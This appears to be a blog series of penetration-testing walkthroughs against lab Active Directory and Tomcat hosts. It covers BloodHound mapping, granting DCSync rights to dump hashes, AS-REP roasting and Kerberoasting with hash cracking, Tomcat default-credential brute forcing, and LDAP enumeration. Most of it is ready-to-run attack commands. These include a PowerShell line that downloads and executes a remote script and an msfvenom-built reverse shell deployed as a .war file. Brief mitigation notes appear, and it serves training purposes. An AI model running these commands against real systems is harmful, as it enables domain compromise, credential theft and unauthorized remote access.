Mapping AD relationship using BloodHound

BloodHound is an application developed with one purpose: to find relationships within an Active Directory (AD) domain to discover attack paths. It does so by using graph theory to find the shortest path for an attacker to traverse to elevate their privileges within the domain.

How Does BloodHound Work?

BloodHound itself is a Web application that's compiled with Electron so that it runs as a desktop app. Its true power lies within the Neo4j database that it uses. Neo4j is a special kind of database -- it's a graph database that can easily discover relationships and calculate the shortest path between objects by using its links.

BloodHound collects data by using an ingestor called SharpHound. It comes as a regular command-line .exe or PowerShell script containing the same assembly (though obfuscated) as the .exe. As it runs, SharpHound collects all the information it can about AD and its users, computers and groups. It even collects information about active sessions, AD permissions and lots more by only using the permissions of a regular user.

SharpHound outputs JSON files that are then fed into the Neo4j database and later visualized by the GUI. This also means that an attacker can upload these files and analyze them with BloodHound elsewhere.

Disclaimer: BloodHound is very noisy, running it on a monitored system will trigger alerts.


1. Download BloodHound, access the folder and look for the executable files

  • git clone
  • cd BloodHound
  • find . -iname *.exe 2> /dev/null

2. In the same GitHub page go to releases, and, download the executable from there. I’d download (For Linux)

  • wget

3. Unzip the downloaded file

  • unzip

5. Install neo4j

  • sudo apt install neo4j

Set Up

1. Start neo4j

  • sudo neo4j console

2. Access web site it indicates, in my case

  • http://localhost:7474

3. Access the web console using the default credentials, then, change the password

  • neo4j / neo4j

4. Now go to the BloodHound folder and execute it

  • cd BloodHound-linux-x64
  • ./BloodHound --no-sandbox

5. Enter neo4j credentials

  • neo4j / admin

Collect the data from the Windows host

In this example, I set a SMB server using impaket-smbserver. Placed the SharpHound.exe file in the SMB partition, then ran and saved the output file in the same location

1. Set SMB server

  • impacket-smbserver smbfolder $(pwd) -smb2support -user vk9guest -password vk9pass

2. In the host run the following powershell commands

  • $pass = convertto-securestring 'vk9pass' -AsPlainText -Force
  • $cred = New-Object System.Management.Automation.PSCredential('vk9guest', $pass)
  • New-PSDrive -Name vk9smb2 -PSProvider FileSystem -Credential $cred -Root \\\smbfolder
  • cd vk9smb2:
  • dir

3. Now, run SharpHound.exe

  • .\SharpHound.exe -c all

4. A .zip file will be generated at the working directory location. Copy that to your Linux machine and import it into BloodHound. Click on upload data in the right menu

5. Wait for the data to be uploaded

6. In the search bar you can search for any AD object to map. I will query svc-alfresco

7. Under database info you can find stats

8. Under node info, after you select a node, you can find details about it

9. Under the Analysis tab you can find queries to run against the node

10. You can click on your node and run a query; I will run “Shortest Path from Kerberos users”

11. Click on the domain box at the top, to display a map based on the query type

12. In this example we see our user is part of the following groups


Note: Based on Microsoft account operators have the ability to add users (,in%20locally%20to%20domain%20controllers.&text=Members%20of%20this%20group%20cannot%20modify%20user%20rights.)

The Account Operators group grants limited account creation privileges to a user. Members of this group can create and modify most types of accounts, including those of users, local groups, and global groups, and members can log in locally to domain controllers.

13. Knowing our user is part of account operators we can proceed to add a user to one of the existing groups. I will add it to “EXCHANGE WINDOWS PERMISSIONS”

  • net user vry4n Password1 /add /domain
  • net group "EXCHANGE WINDOWS PERMISSIONS" /add vry4n

14. If you right click the link between nodes and click Help you will find abusing recommendations


We will follow the Steps shown by the tool, we will use PowerSploit (PowerView.ps1) script

1. Download powersploit

  • git clone
  • cd PowerSploit/Recon

2. Start a web server at the Linux machine where the script is located

  • python3.9 -m http.server 8888

3. From the windows machine connect to the web server

  • IEX(New-Object Net.WebClient).DownloadString('')

4. Now execute the following

  • $SecPassword = ConvertTo-SecureString 'Password1' -AsPlainText -Force
  • $Cred = New-Object System.Management.Automation.PSCredential('HTB\vry4n', $SecPassword)
  • Add-DomainObjectAcl -Credential $Cred -TargetIdentity ' DC=htb,DC=local' -PrincipalIdentity vry4n -Rights DCSync

5. Now that we added to DCSync we can try impaket secrets dump, we can get hashes

  • sudo htb.local/vry4n:Password1@

Connect to Windows Remote Management (WinRM) using Evil WinRM

Windows Remote Management (WinRM) is the Microsoft implementation of WS-Management Protocol, a standard Simple Object Access Protocol (SOAP)-based, firewall-friendly protocol that allows hardware and operating systems, from different vendors, to interoperate.

WinRM is a command-line tool that is used for the following tasks:

  • Remotely communicate and interface with hosts through readily available channels/ports within your network, including workstations, servers and any operating system that supports it.
  • Execute commands remotely on systems that you are not local to you but are network accessible
  • Monitor, manage and configure servers, operating systems and client machines from a remote location.

Ports and Compatibility

  • WinRM Port is 5985 and 5986 (HTTPS)
  • In previous versions of WinRM, though, communications used to be done over port 80/443.

Enable this service

1. Using an admin account you can enable it using powershell

  • Start-Service WinRM
  • Get-WmiObject -Class win32_service | Where-Object {$ -like "WinRM"}

2. If you want the service to start automatic use

  • Set-Service WinRM -StartMode Automatic

3. This command modifies the TrustedHosts list for the WinRM client. The computers in the

TrustedHosts list might not be authenticated.

  • Get-Item WSMan:\localhost\Client\TrustedHosts
  • Set-Item WSMan:localhost\client\trustedhosts -value *
  • Get-Item WSMan:\localhost\Client\TrustedHosts

4. If you Scan this host after the service run you will see the ports enabled

  • nmap -p 5985,5986

Run Evil WinRM

1. Download the program

  • git clone
  • cd evil-winrm
  • ls

2. I had to install dependencies

  • sudo gem install winrm
  • sudo gem install winrm-fs

3. Run the script help

  • ./evil-winrm.rb -h

4. Knowing a user credential we can log in

  • ./evil-winrm.rb -u vry4n -p Admin.1 -i

5. Specify a port if this is set to run on another uncommon port

  • ./evil-winrm.rb -u vry4n -p Admin.1 -i -P 5985

6. Display the version

  • ./evil-winrm.rb --version


Kerberoasting Stealing Service Account (AS-REP) – Remote

The ASREPRoast attack looks for users with don’t require Kerberos pre-authentication attribute (DONT_REQ_PREAUTH).

That means that anyone can send an AS_REQ request to the DC on behalf of any of those users, and receive an AS_REP message.

it is not recommended to enable “Do not require Kerberos preauthentication”, because without prior authentication an attacker can directly send a dummy request for authentication without knowing the credentials (KRB_AS_REQ message). The KDC will return an encrypted TGT and the attacker can brute-force it offline. When checking the KDC logs, you see nothing except a single TGT request.


1. In the Active Directory server the administrator must go “Active Directory Users & Computers”

2. Select the Domain -> Users -> Open the user configuration -> Go to Account tab

3. Check/Uncheck the option “Do not require Kerberos preauthentication

Exploiting (Authenticated Impaket)

Having this flag enabled in the user1 account, we can try to get the password hash querying the server using user2 account

1. We will use Impaket script to exploit this misconfiguration

2. Locate the script within the machine

  • find / -iname 2> /dev/null

3. Run the script help using Python

  • python3.9 /opt/impacket/build/scripts-3.9/ -h

4. We will use the following options

-dc-ip ip address = IP Address of the domain controller.

target = domain/username[:password]

-request = Requests TGT for users and output them in JtR/hashcat format

  • python3.9 /opt/impacket/build/scripts-3.9/ -dc-ip "" -request

5. We got user1 hash

  • $krb5asrep$23$user1@VK9-SEC.COM:288cb1a629e0b5382d1f3156488d8fb8$3c06939c6d092fead9c5c615dc8c07504f16b9331fa1a353fad9d5368e0bc14ab03a6d29a0ca2b5c7db8651f47a3454b001a0918752281c87017f20d8c6920f60149d294c4874badfa9f05f62c0c58db0cd07f059daff4e21ba3fc444cfa5e1273eb7101e4fddee35f216a1e7ba598de3922c4857b7a0914f4c81e2594c4063b9cec5379c1461b54fb1690976642866403b75f2eb7154afe5628f8aca7f1caf615a624b3f051bead9578b38cde9d443c0d18c3da0ccf9013d8ace2964395477bcecee4342d18715aba3e1f02cc16ba7495889e339587bcec0931e7ae601e990be215c3963b15ffec4192

6. We can also specify the format the password should be printed

  • python3.9 /opt/impacket/build/scripts-3.9/ -dc-ip "" -request -format john

6. Save the output to a file

  • python3.9 /opt/impacket/build/scripts-3.9/ -dc-ip "" -request -format john -output jtr.hash

7. We will use this john format and crack it using JtR

  • john --wordlist=/usr/share/wordlists/rockyou.txt jtr.hash

Note: This found the user1 password (Password1)

Exploiting (Unauthenticated Impaket)

1.Almost identical rocedure, this time to use user:password combination only domain/ (htb.local/)

  • python3.9 /opt/impacket/build/scripts-3.9/ -dc-ip "htb.local/" -request

2. We will this time use hashcat format, and save it to a file named jtr.hash

  • python3.9 /opt/impacket/build/scripts-3.9/ -dc-ip "htb.local/" -request -format hashcat -output hascat.hash

3. Determine the type of hash, looking at our hash it starts with krb5asrep search for this term using hashcat database

  • hashcat --example-hashes | less

4. The mode we will use is 18200, and the wordlist rockyou.txt

  • hashcat -m 18200 hashcat.hash /usr/share/wordlists/rockyou.txt --force --potfile-disable

Note: It cracked the password as s3rvice



Kerberoasting Stealing Service Account (SPN) – Remote

Kerberos Workflow using Messages In the Active Directory domain, every domain controller runs a KDC (Kerberos Distribution Center) service that processes all requests for tickets to Kerberos. For Kerberos tickets, AD uses the KRBTGT account in the AD domain.

Service Principal Names

A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. This allows a client application to request that the service authenticate an account even if the client does not have the account name.

  • If you install multiple instances of a service on computers throughout a forest, each instance must have its SPN.
  • Before the Kerberos authentication service can use an SPN to authenticate a service, the SPN must be registered on the account.
  • A given SPN can be registered on only one account.
  • An SPN must be unique in the forest in which it is registered.
  • If it is not unique, authentication will fail.

  • Host-based SPNs which is associated with the computer account in AD, it is randomly generated 128-character long password which is changed every 30 days, hence it is no use in Kerberoasting attacks
  • SPNs that have been associated with a domain user account where NTLM hash will be used

What is Kerberoasting?

Kerberoasting is a technique that allows an attacker to steal the KRB_TGS ticket, that is encrypted with RC4, to brute force application services hash to extract its password.

  • Kerberos uses NTLM hash of the requested Service for encrypting KRB_TGS ticket for given service principal names (SPNs).
  • When a domain user sent a request for TGS ticket to domain controller KDC for any service that has registered SPN, the KDC generates the KRB_TGS without identifying the user authorization against the requested service.

An attacker can use this ticket offline to brute force the password for the service account since the ticket has been encrypted in RC4 with the NTLM hash of the service account.

Concept behind

1. Having a low privilege user/password, the attacker scans Active Directory for user account with SPN values set

2. Once a list of users is obtained the attacker requests service tickets from AD using SPN values

3. Using some tools the attacker extracts the service tickets and saves the information.

4. Once, the tickets are saved in disk the attacker proceeds to crack it using scripts that will run a dictionary of passwords as NTLM hashes against the service tickets.

5. When the ticket is opened with a successful NTLM hash match the user real password is displayed.

Overall procedure #1

1: Discover or scan the registered SPN.

2: Request for TGS ticket for discovered SPN using Mimikatz or any other tool.

3: Dump the TGS ticket which may have extention .kirbi or ccache or service HASH (in some scenario)

4: Convert the .kirbi or ccache file into a crackable format Step 5: Use a dictionary for the brute force attack.

Overall procedure #2

1. Scan Active Directory for user accounts with SPN values set.

2. Request service tickets from AD using SPN values

3. Extract service tickets to memory and save to a file

4. Brute force attack those passwords offline until cracked

How to Exploit (Impaket)

1. We can also find out if the user we’ve been using is part of an Active Directory domain using Impaket

  • python3.9 /opt/impacket/examples/ -all active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip

Note: We see Administrator and SVC_TGS listed in there

2. Now request the TGS (ticket) from the users using Impaket

  • python3.9 /opt/impacket/examples/ active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip -request

3. I will run the same command and I will save the output in a file named tgs.hash

  • python3.9 /opt/impacket/examples/ active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip -request -output tgs.hash

4. (OPTIONAL). If you ever get a NAL). If you ever get a “Kerberos SessionERROR: KRB_AP_ERR_SKEW(Clock skew too great)”, then you need to sync the time with the AD server

  • rdate -n

5. Now that we got the encrypted ticket we will proceed to crack it using john against the file we created tgs.hash

  • john --wordlist=/usr/share/wordlists/rockyou.txt tgs.hash

Note: The password Is Ticketmaster1968

6. We can also crack the password using hashcat

  • hashcat -m 13100 tgs.hash /usr/share/wordlists/rockyou.txt --force --potfile-disable

Detection and Mitigation of Kerberoasting Attacks

The best mitigation defenders have at their disposal against Kerberoasting is to enforce robust password policies for service accounts. Organizations should mandate long, complicated passwords (25 or more characters) that are changed frequently. Length and complexity frustrates offline cracking efforts. Frequent password rotation, say at 30-day intervals, narrows the window of time attackers have to crack long hashes for an indeterminate length of time.


Apache Tomcat Manager .war reverse shell

This time we will enumerate Apache Tomcat/7.0.88, brute force the login and upload a webshell. The most interesting path of Tomcat is /manager/html, inside that path you can upload and deploy war files (execute code). But this path is protected by basic TTP auth, the most common credentials are:

  • admin:admin
  • tomcat:tomcat
  • admin:<NOTHING>
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat


1. Start Metasploit Framework

  • sudo msfdb run

2. We will brute force using “auxiliary/scanner/http/tomcat_mgr_login”

  • use auxiliary/scanner/http/tomcat_mgr_login
  • show options

3. Set the remote host, and, run the module. If you need to use a different wordlist you can modify the USER_FILE & USERPASS_FILE variables. I’d use default. If the admin page uses other port than 8080 you should also change that.

  • set RHOSTS
  • exploit

NOTE: This user/pass files will test for default known passwords. We got a successful match (tomcat/s3cret)

4. Having the credentials now we can use “exploit/multi/http/tomcat_mgr_upload” to upload a web shell, and, get a connection back

  • use exploit/multi/http/tomcat_mgr_upload
  • show options

5. Set the RHOST, RPORT, URI, HttpPassword, HttpUsername & the listening interface LHOST

  • set RHOSTS
  • set RPORT 8080
  • set HttpPassword s3cret
  • set HttpUsername tomcat
  • set LHOST
  • exploit

6. We got a session, now inspect what user type you got, in this case we got nt authority\system

  • sysinfo
  • shell
  • whoami


1. You can also use hydra to brute force

  • hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://


1. We can manually create a MSFVenom payload and upload it ourselves. So, the first step is logging into the web console with the credentials we just got

  • tomcat/s3cret

2. Once logged in, scroll down to find “Deploy” section, this is the place where we will upload our web shell, using .war file

3. Create the .war payload using MSFvenom

  • msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=9999 -f war -o rshell.war
  • ls -l rshell.war

4. Start a Metasploit listener

  • sudo msfdb run
  • exploit/multi/handler
  • show options

5. Set the payload and its options

  • set payload java/jsp_shell_reverse_tcp
  • set LHOST
  • set LPORT 9999
  • exploit

6. Now, upload the war file to the Apache Tomcat manager deploy section, then click deploy. The script will appear under application section in the same page

7. Click on it, and wait for the connection back

  • whoami

Note: If by any chance the .war file displays a 404 code back. You can repeat the same steps, but, instead of uploading the .war file, from kali extract its contents and upload .jsp file

  • unzip rshell.war


  • Don’t run the application as nt authority\system
  • Never use default credentials


Enumerating AD users with LDAP

LDAP queries can be used to search for different objects (computers, users, groups) in the Active Directory LDAP database according to certain criteria.

This time, we will use LDAP to enumerate Active Directory users.

Search LDAP using ldapsearch

ldapsearch opens a connection to an LDAP server, binds, and performs a search using specified parameters. The filter should conform to the string representation for search filters as defined in RFC 4515. If not provided, the default filter, (objectClass=*), is used.

If ldapsearch finds one or more entries, the attributes specified by attrs are returned. If * is listed, all user attributes are returned. If + is listed, all operational attributes are returned. If no attrs are listed, all user attributes are returned. If only 1.1 is listed, no attributes will be returned.

By default, anonymous Lightweight Directory Access Protocol (LDAP) operations to Active Directory, other than rootDSE searches and binds, are not permitted.

This will only work if binding from the server is enabled.

ldapsearch how to (anonymous)

1. If your server is accepting anonymous authentication, you will be able to perform a LDAP search query without binding to the admin account. (the domain in this case is htb.local

  • ldapsearch -x -h -b "dc=htb,dc=local"

Note: This is the simplest form of output, so this will contain a whole to of information.

2. Finding all objects in the directory tree

  • ldapsearch -x -b <search_base> -H <ldap_host> -D <bind_dn> -W "objectclass=*"
  • ldapsearch -x -h -b "dc=htb,dc=local" "objectclass=*"

3. Finding user accounts using ldapsearch

  • ldapsearch -x -b <search_base> -H <ldap_host> -D <bind_dn> -W "objectclass=user"
  • ldapsearch -x -h -b "dc=htb,dc=local" "objectclass=user"

4. If you are only interested in some lines you can filter

  • ldapsearch -x -b <search_base> -H <ldap_host> -D <bind_dn> -W "objectclass=account" cn uid homeDirectory
  • ldapsearch -x -h -b "dc=htb,dc=local" "objectclass=user" cn distinguishedName

5. Get possible usernames

  • ldapsearch -x -h -b "dc=htb,dc=local" "objectclass=user" sAMAccountName | grep sAMAccountName | awk -F ": " '{print $2}'

ldapsearch how to (authenticated)

1. The easiest way to search LDAP is to use ldapsearch with the “-x” option for simple authentication and specify the search base with “-b”.

  • ldapsearch -x -h -p 389 -b "dc=active,dc=htb"

NOTE: If your server is accepting anonymous authentication, you will be able to perform a LDAP search query without binding to the admin account. In our case it needs authentication

2. Search LDAP with admin account (authenticated)

  • ldapsearch -x -h -p 389 -D SVC_TGS -w GPPstillStandingStrong2k18 -b "dc=active,dc=htb"

3. A number of UserAccountControl attributes have security relevance. The value of “2” corresponds to a disabled account status, and so the query below will return active users (by sAMAccountName / username) in the active.htb domain

  • ldapsearch -x -h -p 389 -D 'SVC_TGS' -w 'GPPstillStandingStrong2k18' -b "dc=active,dc=htb" -s sub "(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2)))" samaccountname | grep sAMAccountName

We got 2 users

  • sAMAccountName: Administrator
  • sAMAccountName: SVC_TGS

Enumerate Users Impacket

1. Locate the script within your machine

  • find / -iname 2> /dev/null

2. (Optional) If you don’t have it installed run

  • sudo git clone
  • cd impacket/
  • sudo pip3 install .
  • sudo python3 install

3. Application help

  • python3 /usr/share/doc/python3-impacket/examples/

4. Knowing a username and a password you can run consults to enumerate

  • python3 /usr/share/doc/python3-impacket/examples/ -all active.htb/svc_tgs -dc-ip

We got 2 interesting users Administrator & SVC_TGS